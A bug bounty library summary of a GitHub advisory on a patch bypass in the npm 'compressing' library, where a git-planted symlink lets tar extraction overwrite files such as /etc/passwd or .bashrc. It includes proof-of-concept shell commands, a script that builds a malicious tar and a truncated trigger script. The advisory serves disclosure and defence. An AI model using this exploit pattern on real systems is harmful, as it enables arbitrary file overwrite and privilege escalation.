# Complete Bypass of CVE-2026-24884 Patch via Git-Delivered Symlink Poisoning in compressing

compressing's isPathWithinParent only string-checks resolved paths, so a pre-planted symlink in a cloned repo redirects tar extraction writes outside the root.

- Payout: Research
- Severity: high
- Program: compressing
- Found by: sachinpatilpsp, IAMolofficial
- Disclosed: 2026-04-17
- CVE: CVE-2026-40931
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-4c3q-x735-j3r5
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-4c3q-x735-j3r5
- Tags: area:oss domain:oss impact:integrity impact:privesc kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:file-upload vuln:path-traversal

**Target:** npm library tar extraction (lib/utils.js isPathWithinParent)
**Root cause:** isPathWithinParent validates only the resolved path string via path.resolve/startsWith and never lstat's intermediate segments, so a pre-existing symlink on disk redirects fs.writeFile outside the extraction root.
**Steps:**
1. Attacker repo: `ln -s /tmp/fake_root/etc/passwd config_file` and commit/push so git restores the symlink on clone.
2. Generate payload.tar with tar-stream containing entry `{ name: 'config_file' }` with attacker content.
3. Victim clones repo (symlink pre-planted) and runs `compressing.tar.uncompress('./payload.tar', './')`.
4. String check passes since resolved path starts with dest; fs.writeFile follows symlink and overwrites target file.
**How found:** Compared the patch's purely logical path.resolve/startsWith validation against actual filesystem semantics, noting path.resolve never inspects disk; contrasted with node-tar's recursive lstat atomic check.
**Exploitation:** Attacker publishes a repo containing a symlink named to match a tar entry; victim's git clone plants the symlink, then extracting the bundled tar overwrites the symlink target (e.g. /etc/passwd, .bashrc) with attacker content, yielding file overwrite, potential privesc/RCE if run privileged.
**Escalation:** Overwrite system config or startup scripts (.bashrc/.profile) to gain root or code execution when extraction runs privileged.
**Insight:** When auditing archive-extraction path checks, test whether validation is string-only: pre-plant a symlink at an intermediate segment (git clone delivers it for free) and see if the write follows it; secure code must lstat each segment.

## Proof of concept (copied exactly from the original report)

**Symlink trap creation in attacker repo**

```
mkdir compressing_poc_test
cd compressing_poc_test
git init
# CREATE THE TRAP: A symlink pointing to the sensitive target
ln -s /tmp/fake_root/etc/passwd config_file
# Setup Git
git branch -M main
git remote add origin https://github.com/USERNAME/compressing_poc_test.git
```

**Malicious tar payload generator script**

```
const tar = require('tar-stream');
const fs = require('fs');
const pack = tar.pack();
// PAYLOAD: A plain file that matches the symlink name
pack.entry({ name: 'config_file' }, 'root:PWNED_BY_THE_SUPPLY_CHAIN_ATTACK_V2.1.0\n');
pack.finalize();
pack.pipe(fs.createWriteStream('./payload.tar'));
console.log('payload.tar generated successfully!');
```

**Victim extraction trigger script**

```
const compressing = require('compressing');
async function extractUpdate() {
    console.log('--- Victim: Extracting Update Package ---');
    try {
        // This triggers the bypass because 'config_file' already exists as a symlink
        await compressing.tar.uncompress('./payload.tar', './');
```

